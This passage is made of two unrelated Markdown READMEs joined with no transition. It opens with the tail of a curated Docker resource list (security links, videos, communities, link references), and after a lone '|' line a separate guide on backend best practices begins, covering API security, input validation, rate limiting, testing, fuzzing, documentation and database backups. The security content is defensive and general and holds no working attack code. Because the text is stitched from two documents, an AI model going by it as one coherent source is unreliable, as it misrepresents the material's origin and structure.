- [Docker dev bookmarks](https://www.codever.dev/search?q=docker) - use the tag [docker](https://www.codever.dev/bookmarks/t/docker)
- [Docker in Action, Second Edition](https://www.manning.com/books/docker-in-action-second-edition)
- [Docker in Practice, Second Edition](https://www.manning.com/books/docker-in-practice-second-edition)
- [Docker packaging guide for Python](https://pythonspeed.com/docker/) - a series of detailed articles on the specifics of Docker packaging for Python.
- [Learn Docker in a Month of Lunches](https://www.manning.com/books/learn-docker-in-a-month-of-lunches)
- [Learn Docker](https://coursesity.com/blog/best-docker-tutorials/) - Learn Docker - curated list of the top online docker tutorials and courses.
- [Programming Community Curated Resources for learning Docker](https://hackr.io/tutorials/learn-docker)
## Awesome Lists
- [Awesome CI/CD](https://github.com/cicdops/awesome-ciandcd) - Not specific to docker but relevant.
- [Awesome Compose](https://github.com/docker/awesome-compose) - Docker Compose samples
- [Awesome Kubernetes](https://github.com/ramitsurana/awesome-kubernetes) by [@ramitsurana][ramitsurana]
- [Awesome Linux Container](https://github.com/Friz-zy/awesome-linux-containers) more general about container than this repo, by [@Friz-zy](https://github.com/Friz-zy).
- [Awesome Selfhosted](https://github.com/awesome-selfhosted/awesome-selfhosted) list of Free Software network services and web applications which can be hosted locally by running in a classical way (setup local web server and run applications from there) or in a Docker container. By [@Kickball](https://github.com/Kickball)
- [Awesome Sysadmin](https://github.com/n1trux/awesome-sysadmin) by [@n1trux](https://github.com/n1trux)
- [ToolsOfTheTrade](https://github.com/cjbarber/ToolsOfTheTrade) a list of SaaS and On premise applications by [@cjbarber](https://github.com/cjbarber)
## Demos and Examples
- [An Annotated Docker Config for Frontend Web Development](https://nystudio107.com/blog/an-annotated-docker-config-for-frontend-web-development) A local development environment with Docker allows you to shrink-wrap the devops your project needs as config, making onboarding frictionless.
- [Local Docker DB](https://github.com/alexmacarthur/local-docker-db) a list of docker-compose samples for a lot of databases by [@alexmacarthur](https://github.com/alexmacarthur)
- [Webstack-micro](https://github.com/ferbs/webstack-micro) Demo web app showing how Docker Compose might be used to set up an API Gateway, centralized authentication, background workers, and WebSockets as containerized services.
## Good Tips
- [Docker Caveats](http://docker-saigon.github.io/post/Docker-Caveats/) What You Should Know About Running Docker In Production (written 11 APRIL 2016) **MUST SEE**
- [Docker Containers on the Desktop](https://blog.jessfraz.com/post/docker-containers-on-the-desktop/) - The **funniest way** to learn about docker by [@jessfraz][jessfraz] who also gave a [presentation](https://www.youtube.com/watch?v=1qlLUf7KtAw) about it @ DockerCon 2015
- [Docker vs. VMs? Combining Both for Cloud Portability Nirvana](https://www.flexera.com/blog/cloud/docker-vs-vms-combining-both-for-cloud-portability-nirvana/)
- [Dockerfile best practices](https://github.com/hexops/dockerfile) - This repository has best-practices for writing Dockerfiles
- [Don't Repeat Yourself with Anchors, Aliases and Extensions in Docker Compose Files](https://medium.com/@kinghuang/docker-compose-anchors-aliases-extensions-a1e4105d70bd) by [@King Chung Huang](https://github.com/kinghuang)
- [GUI Apps with Docker](http://fabiorehm.com/blog/2014/09/11/running-gui-apps-with-docker/) by [@fgrehm][fgrehm]
## Raspberry Pi & ARM
- [Docker Pirates ARMed with explosive stuff](https://blog.hypriot.com/) Huge resource on clustering, swarm, docker, pre-installed image for SD card on Raspberry Pi
- [Get Docker up and running on the RaspberryPi in three steps](https://github.com/umiddelb/armhf/wiki/Get-Docker-up-and-running-on-the-RaspberryPi-%28ARMv6%29-in-three-steps)
- [git push docker containers to linux devices](https://www.balena.io) Modern DevOps for IoT, leveraging git and Docker.
- [Installing, running, using Docker on armhf (ARMv7) devices](https://github.com/umiddelb/armhf/wiki/Installing,-running,-using-docker-on-armhf-%28ARMv7%29-devices)
## Security
- [Bringing new security features to Docker](https://opensource.com/business/14/9/security-for-docker)
- [CVE Scanning Alpine images with Multi-stage builds in Docker 17.05](https://github.com/tomwillfixit/alpine-cvecheck) by [@tomwillfixit](https://twitter.com/tomwillfixit)
- [Docker Secure Deployment Guidelines](https://github.com/AonCyberLabs/Docker-Secure-Deployment-Guidelines)
- [Docker Security - Quick Reference](https://binarymist.io/publication/docker-security/)
- [Docker Security: Are Your Containers Tightly Secured to the Ship? SlideShare](https://fr.slideshare.net/MichaelBoelen/docker-security-are-your-containers-tightly-secured-to-the-ship)
- [How CVE's are handled on Offical Docker Images](https://github.com/docker-library/official-images/issues/1448)
- [Lynis is an open source security auditing tool including Docker auditing](https://cisofy.com/lynis/)
- [Security Best Practices for Building Docker Images](https://linux-audit.com/tag/docker/)
- [Software Engineering Radio interview of Docker Security Team Lead (Diogo Mónica)](https://www.se-radio.net/2017/05/se-radio-episode-290-diogo-monica-on-docker-security/)
- [Ten Docker Image Security Best Practices Cheat Sheet](https://snyk.io/blog/10-docker-image-security-best-practices/)
- [Top ten most popular docker images each contain at least 30 vulnerabilities](https://snyk.io/blog/top-ten-most-popular-docker-images-each-contain-at-least-30-vulnerabilities/)
- [Tuning Docker with the newest security enhancements](https://opensource.com/business/15/3/docker-security-tuning)
- [10 best practices to containerize Node.js web applications with Docker](https://snyk.io/blog/10-best-practices-to-containerize-nodejs-web-applications-with-docker/)
## Videos
- [Contributing to Docker by Andrew "Tianon" Page (InfoSiftr)](https://www.youtube.com/watch?v=1jwo8-1HYYg) (34:31)
- [Deploying and scaling applications with Docker, Swarm, and a tiny bit of Python magic](https://www.youtube.com/watch?v=GpHMTR7P2Ms) (3:11:06) by [@jpetazzo][jpetazzo]
- [Docker and SELinux by Daniel Walsh from Red Hat](https://www.youtube.com/watch?v=zWGFqMuEHdw) (40:23)
- [Docker Course](https://www.youtube.com/watch?v=UZpyvK6UGFo) (Spanish) by [@pablokbs](https://github.com/pablokbs)
- [Docker for Developers](https://www.youtube.com/watch?v=FdkNAjjO5yQ) (54:26) by [@jpetazzo][jpetazzo] <== Good introduction, context, demo
- [Docker from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxD-btrjrqdEfQHbkZnQrmqE) (1:22:01) on YouTube by Paris Nakita Kejser
- [Docker: How to Use Your Own Private Registry](https://www.youtube.com/watch?v=CAewZCBT4PI) (15:01)
- [Docker in Production](https://www.youtube.com/watch?v=Glk5d5WP6MI) by [@jpetazzo][jpetazzo] (36:05)
- [Docker Primer to Docker Compose](https://www.youtube.com/watch?v=G-s2GXGAjTk) (1:56:45) on YouTube by LoginRadius
- [Docker Registry from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxAz3d4Fj3edq7UcxEhdTCBm) (44:40) on YouTube by Paris Nakita Kejser
- [Docker Swarm from scratch](https://www.youtube.com/playlist?list=PLLhEJK7fQIxAY4gZd1Wl-GsLvg-e9Ap1e) (1:41:28) on YouTube by Paris Nakita Kejser
- [Extending Docker with Plugins](https://vimeo.com/110835013) (15:21)
- [From Local Docker Development to Production Deployments](https://www.youtube.com/watch?v=7CZFpHUPqXw) by [@jpetazzo][jpetazzo] @ AWS re:Invent 2015
- [Immutable Infrastructure with Docker and EC2 by Michael Bryzek (Gilt)](https://www.youtube.com/watch?v=GaHzdqFithc) (42:04)
- [Introduction to Docker and containers](https://www.youtube.com/watch?v=ZVaRK10HBjo) (3:09:00) by [@jpetazzo][jpetazzo]
- [Logging on Docker: What You Need to Know](https://vimeo.com/123341629) (51:27)
- [Performance Analysis of Docker - Jeremy Eder](https://www.youtube.com/watch?v=6f2E6PKYb0w) (1:36:58)
- [Scalable Microservices with Kubernetes](https://www.udacity.com/course/scalable-microservices-with-kubernetes--ud615) Free Udacity course
- [State of containers: a debate with CoreOS, VMware and Google](https://www.youtube.com/watch?v=IiITP3yIRd8) (27:38)
- [List of online courses (free and paid) about Docker](https://skillcombo.com/topic/docker/)
# Communities and Meetups
## Brazilian
- [Docker BR on Telegram](https://telegram.me/dockerbr)
## Chinese
- [DockerOne](http://dockone.io/) Docker Community (in Chinese) by [@LiYingJie](http://dockone.io/people/%E6%9D%8E%E9%A2%96%E6%9D%B0)
## English
- [Docker Community](https://www.docker.com/community/)
- [Docker Events](https://www.docker.com/events/)
- [Docker Online Meetup](https://www.meetup.com/en-AU/Docker-Online-Meetup/)
- [Docker Reddit Community](https://www.reddit.com/r/docker/)
## Russian
- [Docker Russian-speaking Community](https://t.me/docker_ru)
## Spanish
- [Docker Tips](https://dockertips.com/)
## Stargazers over time
[](https://starchart.cc/veggiemonk/awesome-docker)
## Contributor over time
[contributing]: https://github.com/veggiemonk/awesome-docker/blob/master/.github/CONTRIBUTING.md
[akito]: https://github.com/theAkito
[calico]: https://github.com/projectcalico/calico
[centurylinklabs]: https://github.com/CenturyLinkLabs
[containx]: https://github.com/ContainX
[containers]: https://github.com/containers
[coreos]: https://github.com/coreos
[deepfence]: https://github.com/deepfence
[distribution]: https://github.com/docker/distribution
[docker-flow]: https://github.com/docker-flow
[docker-for-windows]: https://docs.docker.com/desktop/install/windows-install/
[docker]: https://github.com/docker
[editreadme]: https://github.com/veggiemonk/awesome-docker/edit/master/README.md
[fgrehm]: https://github.com/fgrehm
[gesellix]: https://github.com/gesellix
[genuinetools]: https://github.com/genuinetools
[gliderlabs]: https://github.com/gliderlabs
[google]: https://github.com/google
[googlecontainertools]: https://github.com/GoogleContainerTools
[inspec]: https://github.com/inspec/inspec
[jessfraz]: https://github.com/jessfraz
[jpetazzo]: https://github.com/jpetazzo
[jwilder]: https://github.com/jwilder
[kubernetes]: https://kubernetes.io
[lispyclouds]: https://github.com/lispyclouds
[nvidia]: https://github.com/nvidia
[nginxproxy]: https://github.com/nginx-proxy/nginx-proxy
[openshift]: https://www.okd.io
[oracle]: https://github.com/oracle
[peco602]: https://github.com/Peco602
[powerman]: https://github.com/powerman
[progrium]: https://github.com/progrium
[ramitsurana]: https://github.com/ramitsurana
[rancher]: https://github.com/rancher
[safe-waters]: https://github.com/safe-waters
[sindresorhus]: https://github.com/sindresorhus/awesome
[spotify]: https://github.com/spotify
[tomastomecek]: https://github.com/TomasTomecek
[vegasbrianc]: https://github.com/vegasbrianc
[weave]: https://github.com/weaveworks/weave
[vmware]: https://github.com/vmware
[@byrnedo]: https://github.com/byrnedo
[@crazy-max]: https://github.com/crazy-max
[@grammarly]: https://github.com/grammarly
[@skanehira]: https://github.com/skanehira
|
# Backend best practices
**Check out my other repositories**:
- [Domain-Driven Hexagon](https://github.com/Sairyss/domain-driven-hexagon) - Guide on Domain-Driven Design, software architecture, design patterns, best practices etc.
- [System Design Patterns](https://github.com/Sairyss/system-design-patterns) - list of topics and resources related to distributed systems, system design, microservices, scalability and performance, etc.
- [Full Stack starter template](https://github.com/Sairyss/fullstack-starter-template) - template for full stack applications based on TypeScript, React, Vite, ChakraUI, tRPC, Fastify, Prisma, zod, etc.
---
In this readme are presented some of the best practices, tools and guidelines for backend applications gathered from different sources.
This Readme contains code examples mainly for TypeScript + NodeJS, but practices described here are language agnostic and can be used in any backend project.
---
- [Backend best practices](#backend-best-practices)
- [Architecture](#architecture)
- [API Security](#api-security)
- [Data Validation](#data-validation)
- [Enforce least privilege](#enforce-least-privilege)
- [Rate Limiting](#rate-limiting)
- [Testing](#testing)
- [White box vs Black box](#white-box-vs-black-box)
- [Load Testing](#load-testing)
- [Fuzz Testing](#fuzz-testing)
- [Documentation](#documentation)
- [Document APIs](#document-apis)
- [Use wiki](#use-wiki)
- [Add Readme](#add-readme)
- [Write self-documenting code](#write-self-documenting-code)
- [Prefer statically typed languages](#prefer-statically-typed-languages)
- [Avoid useless comments](#avoid-useless-comments)
- [Database Best Practices](#database-best-practices)
- [Backups](#backups)
- [Managing Schema Changes](#managing-schema-changes)
- [Data Seeding](#data-seeding)
- [Configuration](#configuration)
- [Logging](#logging)
- [Monitoring](#monitoring)
- [Standardization](#standardization)
- [Static Code Analysis](#static-code-analysis)
- [Code formatting](#code-formatting)
- [Shut down gracefully](#shut-down-gracefully)
- [Profiling](#profiling)
- [Benchmarking](#benchmarking)
- [Make application easy to setup](#make-application-easy-to-setup)
- [Deployment](#deployment)
- [Blue-Green Deployment](#blue-green-deployment)
- [Code Generation](#code-generation)
- [Version Control](#version-control)
- [Pre-push/pre-commit hooks](#pre-pushpre-commit-hooks)
- [Conventional commits](#conventional-commits)
- [API Versioning](#api-versioning)
- [Additional resources](#additional-resources)
- [Github Repositories](#github-repositories)
## Architecture
Software architecture is about making fundamental choices of your application structure.
> Architecture serves as a blueprint for a system. It provides an abstraction to manage the system complexity and establish a communication and coordination mechanism among components.
Choosing the right architecture is crucial for your application.
We discussed architecture in details in this repository: [Domain-Driven Hexagon](https://github.com/Sairyss/domain-driven-hexagon).
Make sure your architecture is enforced: [Enforcing architecture](https://github.com/Sairyss/domain-driven-hexagon#enforcing-architecture)
Read more:
- [Software Architecture & Design Introduction](https://www.tutorialspoint.com/software_architecture_design/introduction.htm)
## API Security
Software security is the application of techniques that allow to mitigate and protect software systems from vulnerabilities and malicious attacks.
Software security is a large and complex discipline, so we will not cover it in details here.
Instead, here are some generic recommendations to ensure at least basic level of security:
- Ensure [secure coding](https://en.wikipedia.org/wiki/Secure_coding) practices
- Validate all inputs and requests.
- Ensure you don’t store sensitive information in your Authentication tokens.
- Use [TLS](https://en.wikipedia.org/wiki/Transport_Layer_Security) protocol
- Ensure you encrypt all sensitive information stored in your database
- Ensure that you are using safe encryption algorithms. There are a lot of algorithms that are still widely used, but are **not secure**, for example MD5, SHA1 etc. Secure algorithms include RSA (2048 bits or above), SHA2 (256 bits or above), AES (128 bits or above) etc. [Security/Guidelines/crypto algorithms](https://wiki.openstack.org/wiki/Security/Guidelines/crypto_algorithms)
- Monitor user activity on your servers to ensure that users are following software security best practices and to detect suspicious activities, such as privilege abuse and user impersonation.
- Never store secrets (passwords, keys, etc.) in the sources in version control (like GitHub). Use environmental variables to store secrets. Put files with your secrets (like `.env`) to `.gitignore`.
- Update your packages and software tools frequently so ensure the latest bugs and vulnerabilities are fixed
- Monitor vulnerabilities in any third party software / libraries you use
- Follow popular cybersecurity blogs and websites to be aware of the latest security vulnerabilities. This way you can effectively mitigate them in time.
- Don’t pass sensitive data in your API queries, for example: `https://example.com/login/username=john&password=12345`
- Don't log sensitive data to prevent leaks
- Harden your server by closing all but used ports, use firewall, block malicious connections using tools like [fail2ban](https://www.fail2ban.org/wiki/index.php/Main_Page), keep your server up to date, etc.
Read more:
- [OWASP Top Ten](https://owasp.org/www-project-top-ten/)
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/index.html)
- [Hardening a Linux Server for Production](https://jeremysik.substack.com/p/hardening-a-linux-server-for-production)
### Data Validation
[Data validation](https://en.wikipedia.org/wiki/Data_validation) is critical for security of your API. You should validate all the input sent to your API.
Below are some basic recommendations on what data should be validated:
- _Origin - Is the data from a legitimate sender?_ When possible, accept data only from [authorized](https://en.wikipedia.org/wiki/Authorization) users / [whitelisted](https://en.wikipedia.org/wiki/Whitelisting) [IPs](https://en.wikipedia.org/wiki/IP_address) etc. depending on the situation.
- _Existence - is provided data not empty?_ Further validations make no sense if data is empty. Check for empty values: null/undefined, empty objects and arrays.
- _Size - Is it reasonably big?_ Before any further steps, check length/size of input data, no matter what type it is. This will prevent validating data that is too big which may block a thread entirely (sending data that is too big may be a [DoS](https://en.wikipedia.org/wiki/Denial-of-service_attack) attack).
- _Lexical content - Does it contain the right characters and encoding?_ For example, if we expect data that only contains digits, we scan it to see if there’s anything else. If we find anything else, we draw the conclusion that the data is either broken by mistake or has been maliciously crafted to fool our system.
- _Syntax - Is the format right?_ Check if data format is right. Sometimes checking syntax is as simple as using a regexp, or it may be more complex like parsing an XML or JSON.
- _Semantics - Does the data make sense?_ Check data in connection with the rest of the system (like database, other processes etc.). For example, checking in a database if ID of item exists.
Cheap operations like checking for null/undefined and checking length of data come early in the list, and more expensive operations that require calling the database should be executed afterwards.
Example files:
- [create-user.request.dto.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/src/modules/user/commands/create-user/create-user.request.dto.ts) - _lexical_, _size_ and _existence_ validations of a [DTO](https://github.com/Sairyss/domain-driven-hexagon#dtos) using [decorators](https://www.typescriptlang.org/docs/handbook/decorators.html) provided by [class-validator](https://www.npmjs.com/package/class-validator) package.
Read more:
- [OWASP Input Validation Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)
- ["Secure by Design" Chapter 4.3: Validation](https://livebook.manning.com/book/secure-by-design/chapter-4/109).
### Enforce least privilege
Ensure that users and systems have the minimum access privileges required to perform their job functions ([Principle of least privilege](https://en.wikipedia.org/wiki/Principle_of_least_privilege)).
For example:
- On your web server you can leave only 443 port for HTTPS requests open (and maybe an SSH port for administrating), and close all the other ports to prevent hackers connecting to other applications that may be running on your server.
- When working with databases, give your APIs/services/users only the access rights that they need, and restrict everything else. Let's say if your API only needs to read data, let it read it, but not modify (for example when working with read replicas or [CQRS](https://docs.microsoft.com/en-us/azure/architecture/patterns/cqrs#:~:text=CQRS%20stands%20for%20Command%20and,operations%20for%20a%20data%20store.&text=The%20flexibility%20created%20by%20migrating,conflicts%20at%20the%20domain%20level.) queries your API may only need to read that data but never modify it, so restrict update/delete actions for it).
- Give proper access rights to users. For example, you want your newly hired employee to help your customer service, so you give him SSH access to production server, so he can check the logs through a terminal when it is needed. But you don't want him to shut down the server by accident, so leave him with minimum access rights that he needs to do his job, and restrict access to anything else (and log all his actions).
Eliminating unnecessary access rights significantly reduces your [attack surface](https://en.wikipedia.org/wiki/Attack_surface).
Read more:
- [Principle of Least Privilege (PoLP): What Is It, Why Is It Important, & How to Use It](https://www.strongdm.com/blog/principle-of-least-privilege)
### Rate Limiting
Enforce a limit to the number of API requests within a time frame, this is called Rate Limiting or API throttling
By default, there is no limit on how many request users can make to your API. This may lead to problems, like [DoS](https://en.wikipedia.org/wiki/Denial-of-service_attack) or brute force attacks, performance issues like high response time etc.
To solve this, implementing [Rate Limiting](https://en.wikipedia.org/wiki/Rate_limiting) is essential for any API.
Also enforce rate limiting for login attempts. Lock a user account for specific period of time after a given number of failed attempts
- In NodeJS world, [express-rate-limit](https://www.npmjs.com/package/express-rate-limit) is an option for simple APIs.
- Another alternative is [NGINX Rate Limiting](https://www.nginx.com/blog/rate-limiting-nginx/).
- [Kong](https://konghq.com/kong/) has [rate limiting plugin](https://docs.konghq.com/hub/kong-inc/rate-limiting/).
Read more:
- [Everything You Need To Know About API Rate Limiting](https://nordicapis.com/everything-you-need-to-know-about-api-rate-limiting/)
- [Rate-limiting strategies and techniques](https://cloud.google.com/solutions/rate-limiting-strategies-techniques)
- [How to Design a Scalable Rate Limiting Algorithm](https://konghq.com/blog/how-to-design-a-scalable-rate-limiting-algorithm/)
## Testing
Software Testing helps to catch bugs early. Properly tested software product ensures reliability, security and high performance which further results in time saving, cost-effectiveness and customer satisfaction.
### White box vs Black box
Let's review two types of software testing:
- [White Box](https://en.wikipedia.org/wiki/White-box_testing) testing.
- [Black Box](https://en.wikipedia.org/wiki/Black-box_testing) testing.
Testing module/use-case internal structures (creating a test for every file/class) is called _`White Box`_ testing. _White Box_ testing is widely used technique, but it has disadvantages. It creates coupling to implementation details, so every time you decide to refactor business logic code this may also cause a refactoring of corresponding tests.
Use case requirements may change mid-work, your understanding of a problem may evolve, or you may start noticing new patterns that emerge during development, in other words, you start noticing a "big picture", which may lead to refactoring. For example: imagine that you defined a unit test for a class, and while developing this class you start noticing that it does too much and should be separated into two classes. Now you'll also have to refactor your test. After some time, while implementing a new feature, you notice that this new feature uses some code from that class you defined before, so you decide to separate that code and make it reusable, creating a third class (which originally was one), which leads to changing your unit tests yet again, every time you refactor. Use case requirements, input, output or behavior never changed, but tests had to be changed multiple times. This is inefficient and time-consuming.
When we have domain models that change often, tests tend to change with them. Traditional white box unit tests tend to be very coupled to internals of our domain model structure.
To solve this and get the most out of your tests, prefer _`Black Box`_ testing ([Behavioral Testing](https://www.codekul.com/blog/what-is-behavioral-testing/)). This means that tests should focus on testing user-facing behavior users care about (your code's public API), not the implementation details of individual units it has inside. This avoids coupling, protects tests from changes that may happen while refactoring, makes tests easier to understand and maintain thus saving time.
> Tests that are independent of implementation details are easier to maintain since they don't need to be changed each time you make a change to the implementation.
Try to avoid _White Box_ testing when possible. However, it's worth mentioning that there are cases when _White Box_ testing may be useful:
- For instance, we need to go deeper into the implementation details when it is required to reduce combinations of testing conditions. For example, a class uses several plug-in [strategies](https://refactoring.guru/design-patterns/strategy), thus it is easier for us to test those strategies one at a time.
- You are developing a library that will be used by multiple modules or projects. In those cases _White Box_ tests may be appropriate.
- You want to document some complex piece of code. Creating a test can be a great way to do it instead of just writing comments/readme, since readme can get outdated, but test will fail if it gets outdated forcing you to update it.
Use _White Box_ testing only when it is really needed and as an addition to _Black Box_ testing, not the other way around.
It's all about investing only in the tests that yield the biggest return on your effort.
Black Box / Behavioral tests can be divided in two parts:
- Fast: Use cases tests in isolation which test only your business logic, with all I/O (external API or database calls, file reads etc.) mocked. This makes tests fast, so they can be run all the time (after each change or before every commit). This will inform you when something fails as fast as possible. Finding bugs early is critical and saves a lot of time.
- Slow: Full [End to End](https://www.guru99.com/end-to-end-testing.html) (e2e) tests which test a use case from end-user standpoint. Instead of injecting I/O mocks those tests should have all infrastructure up and running: like database, API routes etc. Those tests check how everything works together and are slower so can be run only before pushing/deploying. Though e2e tests can live in the same project/repository, it is a good practice to have e2e tests independent from project's code. In bigger projects e2e tests are usually written by a separate QA team.
**Note**: some people try to make e2e tests faster by using in-memory or embedded databases (like [sqlite3](https://www.npmjs.com/package/sqlite3)). This makes tests faster, but reduces the reliability of those tests and should be avoided. Read more: [Don't use In-Memory Databases for Tests](https://phauer.com/2017/dont-use-in-memory-databases-tests-h2/).
For BDD tests [Cucumber](https://cucumber.io/) with [Gherkin](https://cucumber.io/docs/gherkin/reference/) syntax can give a structure and meaning to your tests. This way even people not involved in a development can define steps needed for testing. In node.js world [jest-cucumber](https://www.npmjs.com/package/jest-cucumber) is a nice package to achieve that.
Example files:
- [create-user.feature](https://github.com/Sairyss/domain-driven-hexagon/blob/master/tests/user/create-user/create-user.feature) - feature file that contains human-readable Gherkin steps
- [create-user.e2e-spec.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/tests/user/create-user/create-user.e2e-spec.ts) - e2e / behavioral test
Read more:
- [Pragmatic unit testing](https://enterprisecraftsmanship.com/posts/pragmatic-unit-testing/)
- [Google Blog: Test Behavior, Not Implementation](https://testing.googleblog.com/2013/08/testing-on-toilet-test-behavior-not.html)
- [Writing BDD Test Scenarios](https://www.departmentofproduct.com/blog/writing-bdd-test-scenarios/)
- Book: [Unit Testing Principles, Practices, and Patterns](https://www.amazon.com/gp/product/1617296279/ref=as_li_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1617296279&linkCode=as2&tag=vkhorikov-20&linkId=2081de4b1cb7564cb9f95526533c3dae)
### Load Testing
For projects with a bigger user base you might want to implement some kind of [load testing](https://en.wikipedia.org/wiki/Load_testing) to see how program behaves with a lot of concurrent users.
Load testing is a great way to minimize performance risks, because it ensures an API can handle an expected load. By simulating traffic to an API in development, businesses can identify bottlenecks before they reach production environments. These bottlenecks can be difficult to find in development environments in the absence of a production load.
Automatic load testing tools can simulate that load by making a lot of concurrent requests to an API and measure response times and error rates.
Example tools:
- [k6](https://github.com/grafana/k6)
- [Artillery](https://www.npmjs.com/package/artillery) is a load testing tool based on NodeJS.
Example files:
- [create-user.artillery.yaml](https://github.com/Sairyss/domain-driven-hexagon/blob/master/tests/user/create-user/create-user.artillery.yaml) - Artillery load testing config file. Also can be useful for seeding database with dummy data.
More info:
- [Top 6 Tools for API & Load Testing](https://medium.com/@Dickson_Mwendia/top-6-tools-for-api-load-testing-7ff51d1ac1e8).
- [Getting started with API Load Testing (Stress, Spike, Load, Soak)](https://www.youtube.com/watch?v=r-Jte8Y8zag)
### Fuzz Testing
[Fuzzing or fuzz testing](https://en.wikipedia.org/wiki/Fuzzing) is an automated software testing technique that involves providing invalid, unexpected, or random data as inputs to a computer program.
Fuzzing is a common method hackers use to find vulnerabilities of the system. For example:
- JavaScript injections can be executed if input is not sanitized properly, so a malicious JS code can end up in a database and then gets executed in a browser when somebody reads that data.
- SQL injection attacks can occur if data is not sanitized properly, so hackers can get access to a database (though modern ORM libraries can protect from that kind of attacks when used properly).
- Sending weird unicode characters, emojis etc. can crash your application.
There are a lot of examples of a problems like this, for example [sending a certain character could crash and disable access to apps on an iPhone](https://www.theverge.com/2018/2/15/17015654/apple-iphone-crash-ios-11-bug-imessage).
Sanitizing and validating input data is very important. But sometimes we make mistakes of not sanitizing/validating data properly, opening application to certain vulnerabilities.
Automated Fuzz testing tools can prevent such vulnerabilities. Those tools contain a list of strings that are usually sent by hackers, like malicious code snippets, SQL queries, unicode symbols etc. (for example: [Big List of Naughty Strings](https://github.com/minimaxir/big-list-of-naughty-strings/)), which helps test most common cases of different injection attacks.
Fuzz testing is a nice addition to typical testing methods described above and potentially can find serious security vulnerabilities or defects.
Example tools:
- [Artillery Fuzzer](https://www.npmjs.com/package/artillery-plugin-fuzzer) is a plugin for [Artillery](https://www.npmjs.com/package/artillery) to perform Fuzz testing.
- [sqlmap](https://github.com/sqlmapproject/sqlmap) - an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws
Read more:
- [Fuzz Testing(Fuzzing) Tutorial: What is, Types, Tools & Example](https://www.guru99.com/fuzz-testing.html)
## Documentation
Here are some useful tips to help users/other developers to use your program.
### Document APIs
Use [OpenAPI](https://swagger.io/specification/) (Swagger) or [GraphQL](https://graphql.org/) specifications. Document in details every endpoint. Add description and examples of every request, response, properties and exceptions that endpoints may return or receive as body/parameters. This will help greatly to other developers and users of your API.
Example files:
- [user.response.dto.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/src/modules/user/dtos/user.response.dto.ts) - notice `@ApiProperty()` decorators. This is [NestJS Swagger](https://docs.nestjs.com/openapi/types-and-parameters) module.
- [create-user.http.controller.ts](https://github.com/Sairyss/domain-driven-hexagon/blob/master/src/modules/user/commands/create-user/create-user.http.controller.ts) - notice `@ApiOperation()` and `@ApiResponse()` decorators.
Read more:
- [Documenting a NodeJS REST API with OpenApi 3/Swagger](https://medium.com/wolox/documenting-a-nodejs-rest-api-with-openapi-3-swagger-5deee9f50420)
- [Best Practices in API Documentation](https://swagger.io/blog/api-documentation/best-practices-in-api-documentation/)
### Use wiki
Create a wiki for collecting and sharing knowledge. Describe common tools, practices and procedures used in your organization. Write down notes explaining peculiarities of your software, how it works and why you made certain decisions.
It must be easy for everyone, especially new team members, to learn about specifics of the project.
According to [The Bus Factor](https://en.wikipedia.org/wiki/Bus_factor), projects can stall if knowledge is not shared properly across team members.
Here are some useful tools for note-taking and creating wikis:
- [Notion](https://www.notion.so/)
- [Obsidian](https://obsidian.md/)
- [Confluence](https://www.atlassian.com/software/confluence)
- [Outline](https://www.getoutline.com/)
Read more:
- [The Surprising Power of Documentation](https://vadimkravcenko.com/shorts/proper-documentation/)
- [How to build a wiki for your company](https://www.notion.so/help/guides/how-to-build-a-wiki-for-your-company)
- [Use of Wikis in Organizational Knowledge Management](https://www.scirp.org/journal/paperinformation.aspx?paperid=63155)
### Add Readme
Create a simple readme file in a git repository that describes basic app functionality, available CLI commands, how to setup a new project etc.
- [How to write a good README](https://dev.to/merlos/how-to-write-a-good-readme-bog)
- [How to write a good README for your GitHub project?](https://bulldogjob.com/readme/how-to-write-a-good-readme-for-your-github-project)
### Write self-documenting code
Code can be self-documenting to some degree. One useful trick is to separate complex code to smaller chunks with a descriptive name. For example:
- Separating a big function into a bunch of small ones with descriptive names, each with a single responsibility;
- Moving in-line primitives or hard to read conditionals into a variable with a descriptive name.
This makes code easier to understand and maintain.
Read more:
- [Tips for Writing Self-Documenting Code](https://itnext.io/tips-for-writing-self-documenting-code-e54a15e9de2?gi=424f36cc1604)
### Prefer statically typed languages
Types give useful semantic information to a developer and can be useful for creating self-documenting code. Good code should be easy to use correctly, and hard to use incorrectly. Types system can be a good help for that. It can prevent some nasty errors at a compile time, so IDE will show type errors right away.
Applications written using statically typed languages are usually easier to maintain, more scalable and better suited for large teams.
**Note**: For smaller projects/scripts/jobs static typing may not be needed.
Read more:
- [Static Types vs Dynamic Types](https://instil.co/blog/static-vs-dynamic-types/)
### Avoid useless comments
Writing readable code, using descriptive function/method/variable names and creating tests can document your code well enough. Try to avoid comments when possible and try to make your code legible and tested instead.
Use comments only when it's really needed. Commenting may be a code smell in some cases, like when code gets changed but a developer forgets to update a comment (comments should be maintained too).
> Code never lies, comments sometimes do.
Use comments only in some special cases, like when writing an counter-intuitive "hack" or performance optimization which is hard to read.
For documenting public APIs use code annotations (like [JSDoc](https://en.wikipedia.org/wiki/JSDoc)) instead of comments, this works nicely with code editor [intellisense](https://code.visualstudio.com/docs/editor/intellisense).
Read more:
- [Code Comment Is A Smell](https://fagnerbrack.medium.com/code-comment-is-a-smell-4e8d78b0415b)
- [// No comments](https://medium.com/swlh/stop-adding-comments-to-your-code-80a3575519ad)
## Database Best Practices
### Backups
Data is one of the most important things in your business. Keeping it safe is a top priority of any backend service.
Here are some basic recommendations:
- Create backups frequently and regularly
- Use remote storages for your backups. Backing up your data and storing it on the same disk as your original data is a road to losing everything. When your storage breaks you will lose an original data and your backups. So keep your backups separately
- Keep backups encrypted and protected. Backup encryption ensures data is protected from leaks and that your data will be what you expect when you recover it
- Consider retention span. Keeping every backup forever isn’t feasible due to a limited amount of space for storage
- Monitor the backup and restore process
- Consider using [point in time recovery](https://www.postgresql.org/docs/current/continuous-archiving.html) when you need to restore database to a specific point in time (if database supports it). This can be useful for synchronizing time between multiple databases when restoring them from a backup.
Read more:
- [Backup and Recovery Best Practices](https://sqlbak.com/blog/backup-and-recovery-best-practices)
